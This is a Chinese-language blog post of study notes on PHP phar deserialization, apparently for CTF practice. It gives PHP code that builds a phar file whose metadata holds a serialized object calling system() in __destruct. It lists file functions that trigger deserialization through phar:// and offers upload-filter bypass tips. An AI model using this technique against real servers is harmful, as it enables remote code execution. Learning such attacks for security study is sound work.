phar反序列化学习
一:什么是phar
phar是PHP提供的一类文件的后缀名称,也是PHP伪协议的一种
1.一种协议后缀
2.一种协议名称
二:phar作用
1.将多个php文件合并成为一个独立的压缩包,相对独立
2.不用解压到硬盘即可运行PHP脚本
3.支持web服务器和命令运行
三:基于phar反序列化
1 2 3 | <?php include 'phar://com.ctf.flie.phar/file.php' ; //可以用phar代替file伪协议协议进行包含<br><br> |
1 | <strong>(1)这个有什么用呢,这么进行反序列化呢?<br></strong>需要把本地phar只读关闭,是为了在本地生成phar文件,不需要服务器那边关闭,<br>服务器只要可以读取就行<br><strong>需要在PHPstudy,配置文件里面把这个位置改成的on改成off,并删掉前面的分号<br><img src= "https://img2022.cnblogs.com/blog/3021984/202211/3021984-20221102114742471-1702789300.png" alt= "" loading= "lazy" ></strong> |
phar文件结构
1 2 3 4 | //标志位stub:phar //manifest:phar(压缩文件) //content(压缩内容) //signature(签名,为了保障内容不被篡改) |
在PHP说明里面可以看到,通过mata-data储存的数据会被序列化保存,也就暗示了这里会在读取的时候进行反序列化操作(不需要链接魔术方法,是一种隐形的反序列化,会自动调用反序列化方法,但是没有反序列化链子就不行了)
(2)如何写phar文件
1.写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | <?php class ctf{ public $name ; public function __destruct(){ system( $this ->name); } } $c = new ctf(); $c ->name = "calc" ; $phar = new phar( "testphar.phar" ); //生成一个新的phar类,但要注意这里的文问名必须要以phar为后缀 $phar ->startBuffering(); //开启缓存区 //**然后需要放入phar的四个部分这样才是完整的phar包 //如下 //标志位stub:phar //manifest:phar(压缩文件) //content(压缩内容) //signature(签名,为了保障内容不被篡改) $phar ->setstub( "<?php __HALT_COMPILER();?>" ); //这个函数是中断编译器执行的 //作用是如果包含phar文件,但不继续执行PHP代码,也是为了安全问题考虑 $phar ->setMetadata( $c ); //通过metadata的数据会被序列化保存 $phar ->addFromString( "testphar.txt" , "test" ); //这里方法就是从字符串里增加的意思,前面还是名字后面是内容 $phar ->stopbuffering(); //停止缓冲区 //停止后会自动附加上签名,这样结构就完整了 |
2.执行后生成我们的phar文件
内容是一个__halt_compiler函数和我们的序列化后的恶意代码
前者是为了防止后面出现PHP代码被执行而造成的安全问题
后者是我们的序列化代码,在反序列化后可以绕过它的中断函数
3.使用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | <?php class ctf{ public $name ; public function __destruct(){ system( $this ->name); } } //1.有包含的情况 // include "phar://testphar.phar"; //在包含这个phar文件的时候会自动调用反序列化,即使没有触发反序列化方法, //但是如果本来就没有反序列化方法,那也是无法调用反序列化的 //2.无包含的情况 //(1) // file_exists("phar://testphar.phar"); //file_exists函数也支持phar协议,可以执行phar文件 //file_exists — 检查文件或目录是否存在, //如果由 filename 指定的文件或目录存在则返回 TRUE,否则返回 FALSE //(2) //file_get_contents("phar://testphar.phar"); //在file_get_contents函数读取phar文件时phar文件也会自动调用反序列化方法 //file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。 //如果操作系统支持还会使用内存映射技术来增强性能。 //(3) //highlight_file("phar://testphar.phar"); //在highlight_file寻找了这个phar文件后,phar文件也会自动调用反序列化方法 //highlight_file — 语法高亮一个文件 //使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。 //重点:只要参数是fileName的都可以触发phar文件 //补充 //配合文件上传使用,在.user.ini里面包含phar协议(phar://filename.phar)同样可以执行反序列化 //利用条件 //1.可以上传phar包 //2.有反序列化利用链 // //在做文件上传的时候先考虑上传PHP文件,可以先尝试双写绕过等绕过姿势,如果不行就考虑上传phar文件 |
1 | <strong> </strong> |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?